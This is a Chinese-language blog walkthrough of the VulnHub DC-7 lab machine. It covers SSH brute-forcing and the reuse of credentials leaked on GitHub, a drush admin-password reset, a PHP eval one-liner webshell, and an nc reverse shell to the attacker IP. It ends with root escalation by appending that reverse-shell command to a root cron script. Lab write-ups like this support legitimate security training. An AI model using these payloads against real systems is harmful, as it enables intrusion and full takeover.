DC-7

靶机介绍

  靶机下载地址:https://download.vulnhub.com/dc/DC-7.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  kali攻击机:192.168.98.136

靶机渗透

信息收集

扫描主机

image

  靶机ip:192.168.98.145

扫描端口

  ‍

image

  22端口和80端口开放

  爆破一下ssh:

nmap --script=ssh-brute 192.168.98.145

image

  爆破失败了

  查看80端口进行进一步信息的探测CMS是Drupal8,而且告诉我们不是暴力破解

image

  尝试了msf中的漏洞不行exploit-db中根据版本来也不行

  提示应该是要我们去外部搜索下信息,百度搜索这个dc7user,然后发现了github,然后找到了源码github源码地址

image

  在config.php中发现了连接数据库的账号密码,尝试使用ssh连接,可以看到爆破前面爆破账号密码失败

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

image

  当我拿这个账号密码连接数据库失败了。。。

指纹识别

image

  ​drupal​CMS

目录扫描

image

  没什么好东西

  ‍

漏洞挖掘

ssh登录

ssh dc7user@192.168.98.145 
# 密码
MdR3xOgB7#dW

  ssh 成功登录dc7user​账户

image

drush​修改密码登录后台

  目录下有一个mbox文件,打开看看:

image

image

  一封邮件,重点捕捉文件:/opt/scripts/backups.sh

  接着查看这个backups.sh文件:

image

  是一个备份程序,查看一下这个程序的权限:

image

  看一下权限www-data和root都是有权限的

  如果我们获得www-data的权限向这个脚本执行任务,那么我们就可以反弹root权限,因为会以root权限定时启动

  看着这个备份脚本可以发现是一个drush配置的命令,它可以改变用户名密码

drush sql-dump --result-file=/home/dc7user/backups/website.sql

  所以尝试修改一下密码

cd /var/www/html
drush user-password admin --password="123456"

  补充:

  ​drush​ 是一个命令行工具,特别为 Drupal 内容管理系统设计,用于执行各种管理和开发任务。在 Drupal 社区中,Drush 是一个非常流行的工具,因为它可以简化许多常见的 Drupal 任务。

  命令 drush user-password admin --password="123456"​ 用于通过 Drush 工具更改 Drupal 系统中管理员账户的密码。

  成功更改:

image

  尝试用 admin 123456 账号密码登录:

image

  成功登录:

image

Getshell

  • 在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。

  • 百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

  • PHP介绍页面如下,模块包下载地址附上

    https://www.drupal.org/project/php
    https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
    

  发现这个位置是支持扩展的,所以我们想要创建一个webshell可以借助插件,看wp要去下载一个php的插件

image

  将链接填入,点击安装:

image

  成功安装页面:

image

  点击:

image

  把这个勾上:

image

  往下滑到最后,点击安装:

image

  到这就可以了:

image

  回到home,点击edit编辑,直接写入一句话木马

image

  写入一句话后门,保存为php格式:

<?php
@eval($_POST[pass]);
?>

image

  蚁剑成功连接:

image

  获取www-data权限

image

  使用nc反弹shell:

image

定时任务文件写入提权

  由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限

//将反弹shell命令追加到文件当中,或者在webshell当中的文件管理直接写入
echo "nc -e /bin/bash 192.168.98.136 5577" >> backups.sh

  成功写入:

image

  直接等待计划任务执行即可:(你自己手动执行只会反弹www-data权限,并不会有root权限,所以必须要等待计划任务自动执行,可能需要个好几分钟!)

  ‍

  成功收到shell:

image

拿下flag

  寻找flag:

image

  读取flag文件:

image

总结

  1. Github泄露网站数据库配置信息导致泄露SSH账号密码
  2. Drupal利用drush重置网站管理员密码
  3. 网站写入php一句话木马Getshell
  4. 定时任务文件写入恶意代码进行提权

  ‍

posted @ 2024-08-21 00:18  itchen-2002  阅读(18)  评论(0编辑  收藏  举报